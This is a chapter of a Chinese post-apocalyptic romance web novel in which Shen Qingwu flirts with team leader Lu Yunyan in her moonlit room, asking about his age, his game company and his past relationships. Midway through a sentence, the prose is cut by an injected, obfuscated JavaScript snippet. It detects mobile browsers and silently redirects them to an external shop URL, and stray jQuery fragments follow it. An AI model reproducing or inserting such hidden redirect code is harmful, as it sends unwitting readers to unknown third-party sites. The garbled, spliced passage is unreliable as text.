陆云宴看了她两秒,直接从沙发上站了起来。他起身的动作利落,身高优势在极近的距离里格外有压迫感。沈青芜下意识往后仰了仰,他身上的气息扑了她满脸。
他偏过头,视线越过她,落在孟启林身上。
孟启林还站在原地,对上陆云宴的眼神,那眼神他读懂了,于是立刻笑起来,语气里带着点自觉的殷勤:“那……队长辛苦你了,你们上去吧,我在楼下守着。”
陆云宴“嗯”了一声,已经抬步往楼梯走去。
沈青芜冲孟启林挤出一个感激的笑,压低声音:“启林,辛苦啦,很快的。”说完转身就小跑着追了上去。
两人一前一后上了楼。走廊也很昏暗,沈青芜房间门半掩着,从里面透出一点窗外的月光。她快走两步,侧身让陆云宴先进去,然后自己走进去,反手把门带上。
“咔嗒。”
和昨天一样,房门合拢的轻响在静谧的房间里格外清楚。
房间不大,月光从半开的窗户倾进来,把那张铺着浅色被单的床照得柔柔的。水桶就放在床沿边,桶里的水盛着一片银白色的月光,纹丝不动。
沈青芜小跑过去,在床沿坐下。她拍了拍身边的位置,仰头看陆云宴,语气自然得像在邀请一个熟稔的朋友:“过来坐呀。”
陆云宴在门口站了两秒,还是走了过来。他在她旁边坐下,床垫因为他的重量微微下陷,沈青芜的身体不自觉地往他那边偏了偏,肩膀差点碰到他的手臂。
两人隔得很近,比昨天蹲在水桶两侧时更近。近到沈青芜能听见他平稳的呼吸声。
陆云宴像昨天一样伸出右手,掌心朝下,几缕蓝色的电弧从指缝间钻出来。但这次没有爆响,也没有刺眼的光芒,电弧细如发丝,蓝得透明,像被月光染过。他慢慢地把手探到水面之上,细电游入水中,激起一圈微不可见的涟漪。
“滋滋。”
细微的声响在两人之间流淌开来。
沈青芜没有看水。
她侧着身子,一只手撑在床沿上,歪着头,目光大喇喇地落在陆云宴的侧脸上。从眉骨到鼻梁,从喉结到肩膀,一寸一寸地看,毫不遮掩。陆云宴倒像是习惯了,没有表现得不自在。
“队长!”她忽然开口,声音轻轻的:“我发现他们都喊你队长哎,是因为你年纪最大吗?可是王宏强看着年纪都要30了?所以你今年到底多少岁啊?”
陆云宴的手指几不可察地顿了一下,他没有解释,他们叫他队长是因为他异能最强大。但至于年纪……
电弧在水里轻微地晃了一下。他没有转头:“二十八。”
“二十八?”沈青芜重复了一遍,语气里带着一点故意的夸张:“那也太老了。”
陆云宴的表情看不出变化,只有下颌线微微绷紧了一瞬:“也没有很老。”他反驳。
“哼~我才二十岁呢。二十一,二十二…”沈青芜往他那边偏了偏,肩膀轻轻撞了他一下,像是不经意的:“你比我大了整整八岁哦,很老了。”
陆云宴没接话,视线依旧落在水面上。那几缕电弧在水里游走,像几条细小的蓝蛇。
“二十八岁的话,末世前应该已经工作了吧?”沈青芜不依不饶地追问,手掌托着下巴,眼睛亮晶晶地看着他:“你是干什么工作的呀?我还没有上完大学呢,跟我说说呗。”
陆云宴沉默了几秒,好像还没从刚刚年纪大的打击中出来。就在沈青芜以为他不会回答的时候,他开口了:“开游戏公司。”
“游戏公司?”沈青芜的音调拔高了一小截,像是真的很惊讶:“是那种做手机游戏的吗?还是电脑游戏的?”
“都有。”
“那你做的游戏有名吗?都有什么游戏啊?”
陆云宴偏过头看了她一眼,目光在她脸上停了一瞬,又移开:“有一款,还算有名。”
“哪款啊?”沈青芜往前凑了凑,膝盖几乎碰到他的腿。
陆云宴看着水面,声音很平静:“《裂空纪元》。”
沈青芜的眼睛倏地瞪大了,这次是真的惊讶。她直起身子,双手不自觉地拍了一下:“《裂空纪元》是你做的?天呐!我玩过哎!”
她的语气里带着真实的兴奋,嘴角的弧度拉得很大,眼睛弯成两道月牙。
陆云宴的嘴角极轻地动了一下。他的目光依旧落在桶里的水面上,但沈青芜看见他垂下的睫毛轻轻颤了一下。
“真看不出来呀……”沈青芜又歪过头来打量他,声音低下来,带着一丝调侃:“想不到《裂空纪元》的老板长这么好看。那队长,末世前一定很多人追你吧?”
陆云宴没接她这茬。
沈青芜却不肯放过,身子又往他那边倾了倾,几乎要贴到他手臂上:“那……你有女朋友吗?”
陆云宴的手指顿了一下。水面上的电弧有瞬间的紊乱,发出“啪”的一声轻响,弹起一朵极小的水花。
“没有。”他说。
沈青芜眨眨眼,追问:“是现在没有,还是以前都没有啊?”
陆云宴终于偏过头来看她。两人对视,距离近得能感受到彼此的呼吸。月光从她身后打过来,把她的轮廓勾出一层银白色的边。她的眼睛在暗光里亮得惊人。
“你会不会对我太好奇了?”他开口,声音低而缓,但眼睛没有移开,像在问她,又像在陈述。
沈青芜也不躲,弯着眼睛笑起来,语气轻快:“无聊问问嘛,不说就不说。真是小气鬼。”她移开视线,重新用手撑着床沿,腿在床边轻轻晃着,就像她说得一样,只是无聊而已。
空气安静了十几秒,只有水桶里细密的“滋滋”声在继续。
“唉,”沈青芜又开口,这次声音比刚才轻了一些,像在自言自语,又像在说给他听:“突然觉得好可惜啊。”
这种吊人胃口的话,很轻易就引起陆云宴的好奇:“可惜什么?”他顺着她的话问。
“我要是末世前认识你就好了。”她歪着头,目光软软地落在他脸上,嘴角挂着一抹似有若无的笑:“你知道吗,你这种类型,要是我以前认识你,你肯定
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17863791|208697||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
会是我男朋友的第一候选人。”
陆云宴的眼皮微微掀起,目光从水面抬起来,重新落到她脸上。他看着她,几秒后,嘴角扯出一个极淡的弧度,带着点说不清意味的凉意:“第一候选人?”
“对啊。”沈青芜点头,神情坦然。
“那孟启林呢?”陆云宴说话的尾音压得有些沉。
沈青芜的嘴角撇了撇:“他呀,以前不算什么的。”
陆云宴没说话,只是看着她。
“你不信啊。我之前拒绝过他很多次的。”沈青芜哼了一声,又往他耳边凑近了一点。她的呼吸扑在他耳廓上,温热而轻盈。
“我跟你讲一个秘密,你可不许告诉别人。”她的声音压得很低,几乎是用气音在说:“虽然孟启林高调的追了我两年,但其实他以前谈过一个女朋友,好像是高中同学。那个女生大一来找他的时候,刚好被我撞见了。而且他虽然看起来一直在追我,但我知道他有在跟其他人暧昧噢。不过,他到现在都以为我不知道呢。”
陆云宴的眉梢极轻地动了一下。
沈青芜退开一点,看着他,眼睛眨了两下:“所以其实他不太符合我的要求。以前答应他只是想逗他的。只是……”
她顿了顿,声音又软下来几分,像在说给自己听:“我喜欢干净一点的。只是现在由不得我选罢了。我需要人保护我,现在,他比其他人都合适。”
陆云宴没有说话。他垂着眼,沈青芜没看清他眼底一闪而过的东西。
沈青芜再次看着他:“所以队长…你以前谈过恋爱吗?”
她的声音很轻,却激起陆云宴心里的涟漪。月光把她的睫毛投下一小片阴影,鼻尖泛着微微的粉。
陆云宴的异能不知道什么时候已经收了。桶面上最后一点涟漪缓缓平息,像什么都没发生过一样。
他侧过头,若有所思地看着她。
两人的距离已经很近了。近到沈青芜能看清他瞳孔里自己的倒影。
暧昧在两人之间无声地蔓延,像水中化开的墨,不急不缓,却无处不在。
沈青芜没有躲开他的目光。她仰着脸,嘴唇微张,呼吸轻得几乎听不见。月光从窗口斜斜地切进来,把两人框在同一片银白色里。
陆云宴的视线从她的眼睛滑到鼻尖,又滑到唇瓣,最后又移回眼睛。
他脑海里忽然闪过一个画面。
白天那场战斗之后,她蹲在地上,孟启林半跪在她面前,手臂护着她,她伸手替孟启林擦掉脸上的脏污。两人挨得那么近,像这世上只剩下彼此。
那画面闪过的瞬间,他的瞳孔微微缩了一下。
陆云宴别开视线,他收了异能,没有电光,屋里立马变得昏暗:“那不是很不公平吗?”
“什么?”没有亮光,沈青芜也看不清陆云宴的表情。
“我确实没有谈过恋爱,可是,我的要求很巧,和你一样。我的女朋友要没有前任。所以,现在还可惜吗?”昏暗里,陆云宴的声音传过来,只是听出了一丝气急败坏的语气。